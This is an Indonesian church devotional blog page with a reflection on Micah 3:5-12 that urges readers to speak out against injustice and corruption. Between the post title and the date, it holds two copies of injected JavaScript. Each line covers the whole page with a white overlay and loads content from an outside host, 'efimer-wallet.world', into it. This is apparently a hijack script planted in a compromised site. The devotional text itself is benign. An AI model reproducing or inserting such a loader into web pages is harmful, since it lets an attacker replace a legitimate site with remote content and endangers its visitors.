Mulai hari ini aku akan belajar menghentikan kecemasan dan ketakutan melainkan mempercayakan hidupku sepenuhnya untuk dipegang dan ditopang TUHAN. Aku akan berhenti mengandalkan pikiran sendiri agar dapat setia berharap pada ALLAH!

Posted in RENUNGAN | Leave a comment

MELAWAN KETIDAKADILAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Kamis, 02 November 2023

Mikha 3 : 5 – 12

Pengantar

Ketidakadilan dan kejahatan ada di sepanjang sejarah dunia. Di masa kini, kita juga masih melihat begitu banyak ketidakadilan dan kejahatan, bahkan juga di dalam keluarga dan masyarakat sekitar kita. Apa yang kita lakukan bila menyaksikan ketidakadilan dan kejahatan? Apakah diam saja ataukah berusaha memberantasnya? Uskup Agung Desmond Tutu pernah berkata, “Jika Anda bersikap netral dalam situasi ketidakadilan berarti Anda memilih berpihak pada para penindas”. Orang percaya dipanggil untuk berani menegakkan keadilan dan memberantas kejahatan seperti yang dilakukan nabi Mikha pada zamannya. Marilah kita merenungkannya!

Pemahaman

Ayat 5-8 : Mengapa nabi Mikha mengecam keras para nabi?

Ayat 9-12 : Apa yang telah dilakukan para penguasa, imam dan para nabi sehingga mereka mendapatkan kecaman dan hukuman?

Pada zaman nabi Mikha, masyarakat Israel hidup mendukakan hati TUHAN. Praktek kelaliman, ketidakadilan, kekerasan dan pelbagai kejahatan ada di mana-mana. Oleh karena itulah nabi Mikha menyampaikan kecaman keras terhadap para pemimpin yang tak peduli dengan kondisi ini. Dalam ayat 5-8, Mikha menyampaikan kecaman keras terhadap para nabi yang lebih menyukai orang kaya daripada orang miskin. Orang-orang kaya diperlakukan istimewa sebab mereka mampu membayar para nabi. Akibatnya pesan-pesan yang disampaikan oleh para nabi selalu menyenangkan hati orang-orang kaya walaupun mereka pelaku ketidakadilan. Jadi mereka tidak menyampaikan pesan TUHAN. Suara kenabian yang menegakkan keadilan dan kebenaran tak terdengar lagi. Oleh karena itu nabi Mikha mengecam mereka dan memberitahukan hukuman yang harus mereka tanggung (ayat 6-7). Mereka akan menerima hukuman dari TUHAN atas kepalsuan pemberitaan yang mereka sampaikan. Nabi Mikha juga menyampaikan kecaman keras kepada para penguasa, para imam dan setiap orang yang hidup dalam ketidakadilan. (ayat 9-11). Para penguasa menerima suap, para

imam melaksanakan tugas dengan menuntut bayaran, para nabi menyampaikan pesan-pesan moral demi mendapatkan uang dan banyak orang merasa nyaman atau terbiasa dengan praktek- praktek yang tidak benar itu. Anehnya mereka melakukan semua itu atas nama TUHAN (ayat 11). Ini berarti mereka menjadikan TUHAN sebagai komoditas yang dapat diperjualbelikan. Mikha menegaskan bahwa mereka akan menerima hukuman dari TUHAN (ayat 12). Dalam sejarah, hukuman itu mereka rasakan saat Yerusalem dan Bait suci dihancurkan pada zaman nabi Yeremia (zaman sesudah Mikha) hingga banyak penduduknya dibuang ke Babel.

Bacaan Alkitab hari ini mengingatkan kita bahwa TUHAN menginginkan umat-Nya untuk terlibat aktif dalam penegakan keadilan dan pemberantasan kekerasan dan kejahatan. Lihatlah di tengah masyarakat kita juga banyak terjadi ketidakadilan dan kejahatan. Jangan diam saja atau malah terlibat menjadi pelaku ketidakadilan dan kejahatan.

Refleksi                                                                 

Dalam keheningan ingatlah pelbagai kasus korupsi, ketidakadilan, kekerasan dan kejahatan yang terjadi di sekitar Saudara maupun Indonesia secara luas. Apakah Saudara berani menyuarakan aspirasi untuk menghentikan pelbagai tindak ketidakadilan dan kejahatan ?

Tekadku

Ya TUHAN, berikanlah aku keberanian dan hikmat untuk menyuarakan suara kenabian yang menegakkan kebenaran dan keadilan.

Tindakanku                                                           

Mulai hari ini aku akan menghentikan sikap tak peduli dan berdiam diri kala melihat ketidakadilan dan kejahatan. Aku akan belajar peduli dengan melakukan tindakan aktif menyuarakan aspirasi untuk menegakkan keadilan dan memberantas kejahatan, mulai dari lingkungan sekitarku.

Posted in RENUNGAN | Leave a comment